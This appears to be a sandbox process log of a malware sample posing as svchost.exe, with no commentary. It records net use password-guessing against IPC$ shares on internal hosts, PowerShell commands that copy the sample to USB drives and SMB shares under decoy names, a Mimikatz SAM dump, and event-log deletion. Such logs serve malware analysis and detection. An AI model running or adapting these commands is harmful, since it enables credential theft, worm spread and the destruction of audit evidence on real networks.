C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " $drives = Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} foreach ($drive in $drives) { if ($drive.DriveLetter -and -not (Test-Path ($drive.DriveLetter + \"\\WindowsUpdate.exe\"))) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination ($drive.DriveLetter + \"\\WindowsUpdate.exe\") -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-SmbShare | ForEach-Object { $sharePath = $_.Path if ($sharePath -and -not (Test-Path (Join-Path $sharePath \"System32_Backup.exe\"))) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination (Join-Path $sharePath \"System32_Backup.exe\") -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " try { Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\"' -ErrorAction SilentlyContinue } catch {} "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.116.207\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.136.232\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.140.192\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ 123456 /user:user4⤵
-
-
